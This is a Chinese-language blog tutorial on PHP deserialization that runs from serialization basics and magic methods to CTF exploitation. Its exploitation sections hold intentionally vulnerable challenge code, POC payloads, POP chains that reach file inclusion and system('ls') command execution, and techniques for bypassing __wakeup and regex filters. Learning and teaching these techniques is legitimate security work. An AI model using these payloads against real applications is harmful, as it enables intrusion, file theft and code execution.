PHP反序列化(浅学)
本文最后更新于 17 天前,其中的信息可能已经有所发展或是发生改变。

PHP面向对象基础知识

就好比,自己做饭,要关心每一个步骤,面向的是过程

而去饭店吃饭,关心选择吃什么,面向的是对象

类的定义

类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装一起

对象是具有类类型的变量,是对类的实例

内部构成:成员变量(属性)+成员方法

比如:创建了一个运动类,其中包括5个属性:姓名,身高,性别,定义了3个方法:踢足球,打篮球,打羽毛球

类的结构

class ClassName{
    //成员变量(属性)声明
    //成员函数(方法)声明
}

三大特点

封装性,继承性和多态性

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系

父类:是一个基础类,它包含一些通用的属性和方法,这些属性和方法可以被其他类继承和重用。通过定义父类,可以将一些共同的特性集中管理,避免代码重复。

子类(派生类):子类是从父类派生出来的类,它继承了父类的属性和方法,并且可以在此基础上添加自己的属性和方法,或者重写父类的方法。子类使用 extends 关键字来继承父类。

$this

$this 是一个特殊的伪变量,指向当前对象实例本身,用于在类的方法内部访问对象的属性和其他方法。$this的含义就是本身的意思,所以$this->只能在类的内部使用

类的修饰符

public    共有的   外部可用
protected 受保护的 外部不可用
private   私有的   外部不可用

还是上实例演示一下:

<?php
class demo{
  // 声明 成员变量 public 公共的
  public $name="_sun_";
  // 受保护的
  protected $sex="男";
  // 私有的
  private $age=19;
  // 声明 成员函数
  function s(){
//       echo $this->name;
//       echo $this->sex;
      echo $this->age;
  }
}

$d = new demo();
//echo $d->name;
// 类的外部不能调用受保护的成员变量
//echo $d->sex;
// 类的外部不能调用私有的的成员变量
//echo $d->age;
$d -> s();

序列化

序列化的作用:

序列化是将对象的状态信息转换为可以存储或传输得到形式的过程

序列化之后的表达方式

空字符、整形、浮点型、字符串、数组、对象

<?php

// N;
//echo serialize(null);

// i:123;
//echo serialize(123);

// d:123.3;
//echo serialize(123.3);

// b:1;
//echo serialize(true);

// s:5:"juran";
//echo serialize("juran");

//$a = array("juran", "jr", "JR");
// a:3:{i:0;s:5:"juran";i:1;s:2:"jr";i:2;s:2:"JR";}
// a:3 参数个数
// i:0 编号
// s:5:juran; 值
//echo serialize($a);


class demo{
  public $name = "juran";
//   public $age;
  protected $age;
  private $sex;
  public function jr(){
      echo $this->name;
  }
}

// O:4:"demo":1:{s:4:"name";s:5:"juran";}
// O:4:"demo":2:{s:4:"name";s:5:"juran";s:3:"age";N;}
// O:4:"demo":2:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;}
//%00类名%00属性名字
// O:4:"demo":3:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo urlencode(serialize(new demo()));

实例:

<?php
// 定义一个类
class me {
public $name='_sun_';
public $age='19';
public $sex='男';
}

// 创建一个对象实例
$me = new me();

// 序列化对象
echo serialize($me);
//O:2:"me":3:{s:4:"name";s:5:"_sun_";s:3:"age";s:2:"19";s:3:"sex";s:3:"男";}

一般格式:

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

符号 类型描述

a   array 数组型
b boolean 布尔型
d double 浮点型
i integer 整数型
o common object 共同对象
r object reference 对象引用
s non-escaped binary string 非转义的二进制字符串
S escaped binary string 转义的二进制字符串
C custom object 自定义对象
O class 对象
N null 空
R pointer reference 指针引用
U unicode string Unicode 编码的字符串

反序列化

反序列化是指将序列化后存储或传输的字符串数据重新转换为编程语言中的原始数据类型或对象的过程。通过反序列化,可以将之前序列化保存的变量、对象等数据恢复到它们在程序运行时的原始状态,以便在后续的程序逻辑中继续使用

(反序列化是将序列化得到的字符串转化为一个对象的过程) 反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串; 反序列化不触发类的成员方法,需要调用方法后才能触发

实例:

<?php
class me{
  public $name = "_sun_";
  // public $age;
  protected $age;
  private $sex;
  public function sun(){
      echo $this->name;
  }
}
echo (serialize(new me()));
//O:2:"me":3:{s:4:"name";s:5:"_sun_";s:6:" * age";N;s:7:" me sex";N;}
var_dump(unserialize('O:2:"me":3:{s:4:"name";s:5:"_sun_";s:6:" * age";N;s:7:" me sex";N;}'));
// class me#1 (5) {
//   public $name =>
//   string(5) "_sun_"
//   protected $age =>
//   NULL
//   private $sex =>
//   NULL
//   public $ * age =>
//   NULL
//   public $ me sex =>
//   NULL
// }
$s = new me();
$s -> sun();
//_sun_

反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关;

<?php
class me{
  public $name = "_sun_";
  // public $age;
  protected $age;
  private $sex;
  public function sun(){
      echo $this->name;
  }
}
echo (serialize(new me()));
//O:2:"me":3:{s:4:"name";s:5:"_sun_";s:6:" * age";N;s:7:" me sex";N;}

$s =unserialize('O:2:"me":3:{s:4:"name";s:1:"s";s:6:" * age";N;s:7:" me sex";N;}') ;
$s -> sun();
//s

漏洞利用就是unserialize值可控

魔术方法

定义:预定好的,在特定情况下自动触发的行为方法

作用:在特定条件下自动调用相关的方法,最终导致触发代码

__construct() 构造函数,当一个对象创建时被调用。(实例化时) 
__destruct() 析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行  
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串  
__wakeup() 调用unserialize()时触发,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。  
__sleep() 调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误  
__call() 在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法  
__callStatic() 在静态上下文中调用不可访问的方法时触发  
__get() 用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行  
__set() 用于将数据写入不可访问的属性  
__isset() 在不可访问的属性上调用isset()或empty()触发  
__unset() 在不可访问的属性上使用unset()时触发  
__invoke() 当脚本尝试将对象调用为函数时触发

__construct()

构造函数,当一个对象创建时被调用

<?php
class me{
  public function __construct()
  {
      echo '__construct方法已触发';
  }
}
$a = new me();
//__construct方法已触发

__destruct()

析构函数,当一个对象销毁时被调用

<?php
class me{
  public function __destruct()
  {
      echo '__destruct方法已触发';
  }
}
$a = new me();
//__destruct方法已触发

__toString

当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串

<?php
class me{
  public $name="_sun_";
  public function __toString()
  {
      return '__toString方法已触发';
  }
}
$a = new me();
$b= serialize($a);
echo $a;
echo "\n";
echo $b;
//__toString方法已触发
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}

__wakeup

调用unserialize()时触发,反序列化恢复对象之前调用该方法

<?php
class me{
  public $name="_sun_";
  public function __wakeup()
  {
      echo '__wakeup方法已触发';
  }
}
$a = new me();
$serializedA = serialize($a);
echo $serializedA;
echo "\n";
$b = unserialize($serializedA);
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}
//__wakeup方法已触发

__sleep

调用serialize()时触发 ,在对象被序列化前自动调用

<?php
class me{
  public $name="_sun_";
  public function __sleep()
  {
      echo '__sleep方法已触发';
      echo "\n";
      return ['name'];
  }
}
$a = new me();
$A = serialize($a);
echo $A;
//__sleep方法已触发
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}

__call

调用不可访问或不存在的方法时触发

<?php
class me{
  public $name="_sun_";
  public function __call($name,$s)
  {
      echo '__call方法已触发';
      echo "\n";
  }
}
$a = new me();
$a ->haha();
$A = serialize($a);
echo $A;
//__call方法已触发
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}

__callStatic

当调用一个不存在的静态方法或者是不可访问的静态方法时,会触发

静态方法和动态方法的区别就是,调用方式不同,我们上面所调用的方法都是动态方法,而静态方法是直接利用类名来调用的而不是对象

static定义静态变量或方法所用

<?php
class Demo{
  public static function add($a,$b){
      return $a + $b;
  }
}
echo Demo::add(3,10);
//13
<?php
class Demo{
  public static function __callStatic($method, $args){
      echo "callStatic已触发\n";
  }
}
Demo::what(5,10);
//callStatic被调用

__get

即调用不可访问或不存在的属性是触发

<?php
class me{
  public $name="_sun_";
  public function __get($s)
  {
      echo '__get方法已触发';
      echo "\n";
  }
}
$a = new me();
$a ->haha;
$A = serialize($a);
echo $A;
//__get方法已触发
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}

__set

将数据写入不可访问或者不存在的属性,就是说赋值时触发

<?php
class me{
  public $name="_sun_";
  public function __set($s,$z)
  {
      echo '__set方法已触发';
      echo "\n";
  }
}
$a = new me();
$a ->haha='sss';
$A = serialize($a);
echo $A;
//__set方法已触发
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}

__isset

当使用isset或者是empty来检查不存在或者不可访问的属性时触发

<?php
class me{
  public $name="_sun_";
  public function __isset($s)
  {
      echo '__isset方法已触发';
      echo "\n";
  }
}
$a = new me();
isset($a->haha);
$A = serialize($a);
echo $A;
//__isset方法已触发
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}

__unset

使用 unset() 删除一个不存在或不可访问的属性时触发

<?php
class me{
  public $name="_sun_";
  public function __unset($s)
  {
      echo '__unset方法已触发';
      echo "\n";
  }
}
$a = new me();
unset($a->haha);
$A = serialize($a);
echo $A;
//__unset方法已触发
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}

__invoke

当将一个对象像函数一样调用时触发

<?php
class me{
  public $name="_sun_";
  public function __invoke($s)
  {
      echo '__invoke方法已触发';
      echo "\n";
  }
}
$a = new me();
echo $a('s');
$A = serialize($a);
echo $A;
//__invoke方法已触发
//O:2:"me":1:{s:4:"name";s:5:"_sun_";}

例题:

NSSCTF-ez-unserialize

源码:
<?php


error_reporting(0);
show_source("cl45s.php");

class wllm
{

  public $admin;
  public $passwd;

  public function __construct()
  {
      $this->admin = "user";
      $this->passwd = "123456";
  }

  public function __destruct()
  {
      if ($this->admin === "admin" && $this->passwd === "ctf") {
          include("flag.php");
          echo $flag;
      } else {
          echo $this->admin;
          echo $this->passwd;
          echo "Just a bit more!";
      }
  }
}

$p = $_GET['p'];
unserialize($p)

看到满足admin为admin,passwd为ctf情况,才可以获得flag,直接上poc(关键是可控)

<?php
class wllm
{

  public $admin='admin';
  public $passwd='ctf';
}
$a=new wllm();
echo serialize($a);
//O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

POP链

成员属性赋值对象

简单举个例子:

<?php
class dome1{
  public $name = "_sun_";
  public $age = '19';
}
class dome2{
  public $c = 'sss';
  public $d;
}
$a = new dome1();
$b = new dome2();
$b ->d = $a;
echo serialize($b);
//O:5:"dome2":2{s:1:"c";s:3:"sss";s:1:"d";O:5:"dome1":2{s:4:"name";s:5:"_sun_";s:3:"age";s:2:"19";}}

POP题目分析

<?php
class Modifier {

  private $var;
  public function append($value)
  {
      echo $value;
      include($value);
      echo $flag;
  }
  public function __invoke(){
      $this->append($this->var);
  }
}

class Show{
  public $source;
  public $str;
  public function __toString(){
      return $this->str->source;
  }
  public function __wakeup(){
      echo $this->source;
  }
}

class Test{
  public $p;
  public function __construct(){
      $this->p = array();
  }
  public function __get($key){
      $function = $this->p;
      return $function();
  }
}

if(isset($_GET['pop'])){
  unserialize($_GET['pop']);
}

分析代码,最终目的要去读flag.php,要调用Modifier类中的append方法,先构造POP链

详细:unserialize->Show->__wakeup->echo->$this->source=Show->__toString->$this->str=Test->不存在source->__get ->$function()->$p=Modifier__invoke->$this->append->include($value)
POC:
<?php
class Modifier {
  private $var="flag.php";
}
class Show{
  // Show
  public $source;
  // Test
  public $str;
}

class Test{
  // Modifier
  public $p;
}

$mod = new Modifier();
$show = new Show();
$test = new Test();
$test->p = $mod;
$show->source = $show;
$show->str = $test;
echo serialize($show);
//// O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

绕过思路

__wakeup绕过

__wakeup魔术方法,如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

<?php 
class xctf{
  public $flag='111';
}
$a=new xctf();
echo serialize($a);
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}

修改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}即可

例题:NSSCTF-no_wakeup

绕过正则

<?php

class Demo
{
  private $file = 'index.php';

  public function __construct($file)
  {
      $this->file = $file;
  }

  function __destruct()
  {
      echo @highlight_file($this->file, true);
  }

  function __wakeup(): void
  {
      if ($this->file != 'index.php') {
          //the secret is in the fl4g.php
          $this->file = 'index.php';
      }
  }
}

if (isset($_GET['var'])) {
  $var = base64_decode($_GET['var']);
  // O:+4
  if (preg_match('/[oc]:\d+:/i', $var)) {
      die('stop hacking!');
  } else {
      @unserialize($var);
  }
} else {
  highlight_file("index.php");
}

POC:

<?php
class Demo{
  private $file = 'flag.php';
}
echo serialize(new Demo());
// 绕过__wakeup
O:4:"Demo":1:{s:10:" Demo file";s:8:"flag.php";}
//O:+4:"Demo":2:{s:10:" Demo file";s:8:"flag.php";}(+来绕过正则)

如上正则匹配检查时,匹配到O:4会终止程序,可以替换为O:+4绕过正则匹配;

或者将对象放入数组再序列化 serialize(array($a));

前者有的php版本不适应,后者通用;

引用

<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
  public $a;
  public $b;
  public $c;
  public function __construct(){
      $this->a=1;
      $this->b=2;
      $this->c=3;
  }
  public function __wakeup(){
      $this->a='';
  }
  public function __destruct(){
      $this->b=$this->c;
      eval($this->a);
  }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
  die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

POC:

<?php

class test
{
  public $a;
  public $b;
  public $c = 'system("ls");';

}

$h = new test();
$h->b = &$h->a;   //注意:取会改变的属性的地址,如取a的地址赋值给b,当给a赋值时a会等于b的值
echo serialize($h);

使变量a与变量b永远相等,魔术方法__destruct()把变量c值赋给变量b时,相当于给变量a赋值,这就可以完成命令执行

对类属性不敏感

protected和private属性的属性名与public属性的属性名不同,由于对属性不敏感,即使不加%00* %00和%00类名%00也可以被正确解析;

大写S当十六进制绕过

    表示字符串类型的s大写为S时,其对应的值会被当作十六进制解析;

例如   s:13:"SplFileObject" 中的Object被过滤

可改为 S:13:"SplFileOb\6aect"

小写s变大写S,长度13不变,\6a是字符j的十六进制编码

大小写绕过

因为php对大小写不敏感,所以我们可以使用大小写绕过,过滤的一些类名

下面可以看到虽然类名是A,但是我们可以使用a绕过

//回显yes
<?php

class A
{
  public $name;

  public function __destruct(){
      echo $this -> name;
  }
}
$a = 'O:1:"a":1:{s:4:"name";s:3:"yes";}';(修改了大小写)
if (!preg_match('/A/',$a)){
  unserialize($a);
}else{
  echo "no";
}

php issue#9618

<?php

class A
{
  public $info;
  public $end = "1";

  public function __destruct()
  {
      $this->info->func();
      echo "A::des\n";
  }
}

class B
{
  public $znd;

  public function __wakeup()
  {
      $this->znd = "exit();";
      echo "B::wakeup\n";
  }
   
  public function __call($method, $args)
  {
      echo "B::call\n";
  }
}
unserialize('O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"end";s:1:"1";}');
//这里看到end的长度从3被修改成别的长度,这里用的是6,就会先触发别的
//回显
B::call
A::des
B::wakeup

//正常
B::wakeup
B::call
A::des

fast-destruct

fast-destruct绕过__wakeup,我们一般都是通过修改序列化字符串的结构来实现的。

<?php

class A
{
  public $info;
  public $end = "1";

  public function __destruct()
  {
      $this->info->func();
      echo "A::des\n";
  }
}

class B
{
  public $znd;

  public function __wakeup()
  {
      $this->znd = "exit();";
      echo "B::wakeup\n";
  }
   
  public function __call($method, $args)
  {
      echo "B::call\n";
  }
}
unserialize('O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";}');
//回显

//正常//O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";}
B::wakeup
B::call
A::des

//减少}//O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";
B::call
A::des
B::wakeup

//增加;//O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";;}
B::call
A::des
B::wakeup

绕过异常throw new Error()

<?php

class A
{
  public function __destruct()
  {
      echo "1";
  }
}
$aa = new A();
throw new Error("destruct没有触发");

但是这里加上 throw new Error() 后就不会触发__destruct(),而是输出PHP Fatal error: Uncaught Error: destruct没有触发

将A的引用$aa设置为空就可绕过throw new Error()

<?php

class A
{
  public function __destruct()
  {
      echo "1";
  }
}
$aa = new A();
$aa = null;
throw new Error("destruct没有触发");

字符串逃逸

属性逃逸:一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

字符串没有问题的情况下,反序列化都会以(;})为结束

在系统使用方法替换字符串的时候,会将我们序列化好的字符串,检测有没有匹配的字符,有就替换,正常来说这是一个防御的手段,但是他是会进行替换的时候变多或者变少,这就是我们产生漏洞的地方,这时候我们就可以利用这个漏洞闭合出一个新的序列化字符串

先了解一下PHP反序列化的特点

PHP在反序列化时,底层代码是以分号( ;) 作为字段的分隔,以右花括号( }) 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,当长度不对应的时候也会进行报错。

<?php
class me{
  public $name='_sun_';
  public $age='19';
}
$a = new me();
$b = serialize($a);
//echo $b;
//O:2:"me":2:{s:4:"name";s:5:"_sun_";s:3:"age";s:2:"19";}
var_dump(unserialize('O:2:"me":2:{s:4:"name";s:5:"_sun_";s:3:"age";s:2:"19";}'));
//O:2:"me":2:{s:4:"name";s:5:"_sun_";s:3:"age";s:2:"19";}asdsdsa
var_dump(unserialize('O:2:"me":2:{s:4:"name";s:5:"_sun_";s:3:"age";s:2:"19";}asdsdsa'));
输出:
//class me#2 (2) {
public $name =>
string(5) "_sun_"
public $age =>
string(2) "19"
}
//class me#2 (2) {
public $name =>
string(5) "_sun_"
public $age =>
string(2) "19"
}

可以看到两个的输出是一样的,所以是只解析正常闭合,后面他不管的。

增加

class A{
  public $name = '1';
  public $age = '2';
  public $heihei = '3';
}
function eeeeeee($string){
  return str_replace('hack', 'hacker', $string);
}
$a = new A();
$b = serialize($a);
echo $b;
//O:1:"A":3:{s:4:"name";s:1:"1";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}
var_dump('";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}');
//";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}
//var_dump('";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}');(长度为46,所以需要23个hack)

知道原理了,修改代码

<?php

class A{
  public $name = 'hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}';
  public $age = '2';
  public $heihei = '3';
}
function eeeeeee($string){
  return str_replace('hack', 'hacker', $string);
}
$a = new A();
$b= serialize($a)."\n";
echo $b;
$c = eeeeeee($b)."\n";
echo $c;
var_dump(unserialize($c));
//O:1:"A":3{s:4:"name";s:138:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

//O:1:"A":3{s:4:"name";s:138:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}";s:3:"age";s:1:"2";s:6:"heihei";s:1:"3";}

//class A#2 (3) {
public $name =>
string(138) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
public $age =>
string(2) "zz"
public $heihei =>
string(4) "ssss"
}

成功做到替换(就是根据长度判断内容,构造好后,长度相同,后面的部分不会被解析,上面所多加了”;是为了达到闭合)

减少

<?php
class A{
  public $v1 = 'abcsystem()';
  public $v2 = '123';
}
$data = serialize(new A());
echo $data;//O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}
//$data = str_replace("system()","",$data);
var_dump(unserialize($data));
<?php
class A{
  public $v1 = 'abcsystem()system()system()';//长度27
  public $v2 = '1234567";s:2:"v2";s:4:"hhhh";}';
}
$data = serialize(new A());
//echo $data;//O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
//class A#1 (2) {
public $v1 =>
string(27) "abc";s:2:"v2";s:30:"1234567"
public $v2 =>
string(4) "hhhh"
}

例题:

<?php

class A{
  public $name = '0';
  public $age = 'A";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}';
  public $heihei = '2';
}
function eeeeeee($string){
  return str_replace('ha', 'h', $string);
}
$a = new A();
$b= serialize($a);
echo $b;
//这是正常序列化O:1:"A":3:{s:4:"name";s:1:"0";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}
//我们还是老样子,需要age=zz,heihei=ssss,这里提取我们需要的在修改一下
//前面加一个A用来闭合
//A";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}
//O:1:"A":3:{s:4:"name";s:1:"0";s:3:"age";s:43:"A";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}";s:6:"heihei";s:1:"2";}
//";s:1:"0";s:3:"age";s:43:"A,要减少这些东西,利用减少

放到age中

<?php
class A{
  public $name = '0';
  public $age = 'A";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}';
  public $heihei = '2';
}
function eeeeeee($string){
  return str_replace('ha', 'h', $string);
}
$a = new A();
$b= serialize($a);
echo $b;
//这里我们得到O:1:"A":3:{s:4:"name";s:1:"0";s:3:"age";s:43:"A";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}";s:6:"heihei";s:1:"2";}
//但是我们就是要将";s:3:"age";s:43:"A ,利用减少将这一串放在name属性里面(这个A是啥都无所谓,主要是为了凑闭合用的)
//所以我们计划就是让这里变成,name属性里面的字符串

“;s:3:”age”;s:43:”A长度为19,所以就要用到19个ha

<?php

class A{
  public $name = 'hahahahahahahahahahahahahahahahahahaha';
  public $age = 'A";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}';
  public $heihei = '1';
}
function eeeeeee($string){
  return str_replace('ha', 'h', $string);
}
$a = new A();
$b= serialize($a)."\n";
echo $b;
$c = eeeeeee($b)."\n";
echo $c;
var_dump(unserialize($c));
//O:1:"A":3{s:4:"name";s:38:"hahahahahahahahahahahahahahahahahahaha";s:3:"age";s:47:"A";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}";s:6:"heihei";s:1:"1";}

//O:1:"A":3{s:4:"name";s:38:"hhhhhhhhhhhhhhhhhhh";s:3:"age";s:47:"A";s:3:"age";s:2:"zz";s:6:"heihei";s:4:"ssss";}";s:6:"heihei";s:1:"1";}

//class A#2 (3) {
public $name =>
string(38) "hhhhhhhhhhhhhhhhhhh";s:3:"age";s:47:"A"
public $age =>
string(2) "zz"
public $heihei =>
string(4) "ssss"
}
修改成功,关键还是理解原理

原生类

php中有许多内置的原生类,可以利用内置的原生类攻击到达目的

字符串处理类

  • SplStringObject:用于处理字符串的类,提供了诸如字符串比较、转换等方法。
<?php
$stringObj = new SplStringObject('Hello');
echo $stringObj->__toString();

此代码创建了一个 SplStringObject 对象并输出其存储的字符串。

2. 数组处理类

  • SplFixedArray:固定大小的数组类,在内存管理上更高效,适合已知大小数组的场景。
<?php
$fixedArray = new SplFixedArray(3);
$fixedArray[0] = 1;
$fixedArray[1] = 2;
$fixedArray[2] = 3;
foreach ($fixedArray as $value) {
   echo $value. "\n";
}

这里创建了一个大小为 3 的固定数组,并对其元素赋值和遍历输出。

3. 迭代器类

  • ArrayIterator:允许像迭代数组一样迭代对象,方便对各种数据结构进行遍历操作。
<?php
$array = [1, 2, 3];
$it = new ArrayIterator($array);
foreach ($it as $value) {
   echo $value. "\n";
}

将数组传递给 ArrayIterator 构造函数,然后通过 foreach 循环遍历。

4. 文件操作类

  • SplFileObject:用于逐行读取和写入文件,提供了简便的文件操作接口。
<?php
$file = new SplFileObject('test.txt', 'r');
while (!$file->eof()) {
   echo $file->fgets();
}

以上代码以只读模式打开 test.txt 文件,并逐行读取输出。

5. 数据库相关类(以 PDO 为例,虽不完全是严格意义原生类但广泛使用)

  • PDO(PHP Data Objects):用于在 PHP 中访问各种数据库,提供统一的接口,支持多种数据库系统,如 MySQL、SQLite 等。
<?php
try {
   $pdo = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');
   $stmt = $pdo->query('SELECT * FROM users');
   while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
       print_r($row);
  }
} catch (PDOException $e) {
   echo "Connection failed: ". $e->getMessage();
}

这段代码尝试连接 MySQL 数据库,执行查询并获取结果。

6. 异常处理类

  • Exception:PHP 中所有异常类的基类,用于捕获和处理程序运行过程中出现的错误。
<?php
try {
   throw new Exception('This is an error');
} catch (Exception $e) {
   echo 'Caught exception: '. $e->getMessage();
}

代码抛出一个异常并在 catch 块中捕获并输出异常信息。

简单演示

目录遍历类——DirectoryIterator

可输出指定目录的第一个文件;

文件读取类——SplFileObject

可读取指定文件的内容;

<?php
class test
{
  public $a;
  public $b;
  public function __wakeup()
  {
      echo $this->a($this->b);
  }
}
//$a=DirectoryIterator,$b=glob://f* 时可得到文件名/flag
//$a=SplFileObject,$b=/flag 时可读取/flag文件的内容
//DirectoryTterator和SplFileObject都通过echo输出对象出发,DirectoryIterator读目录只
//能返回目录的第一条、可以使用通配符、需配合伪协议glob://读取,SplFileObject读文件内容文
//件名不支持通配符、只返回文件内容的第一行、配合伪协议php://fliter才可读取文件全部内容
?>
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇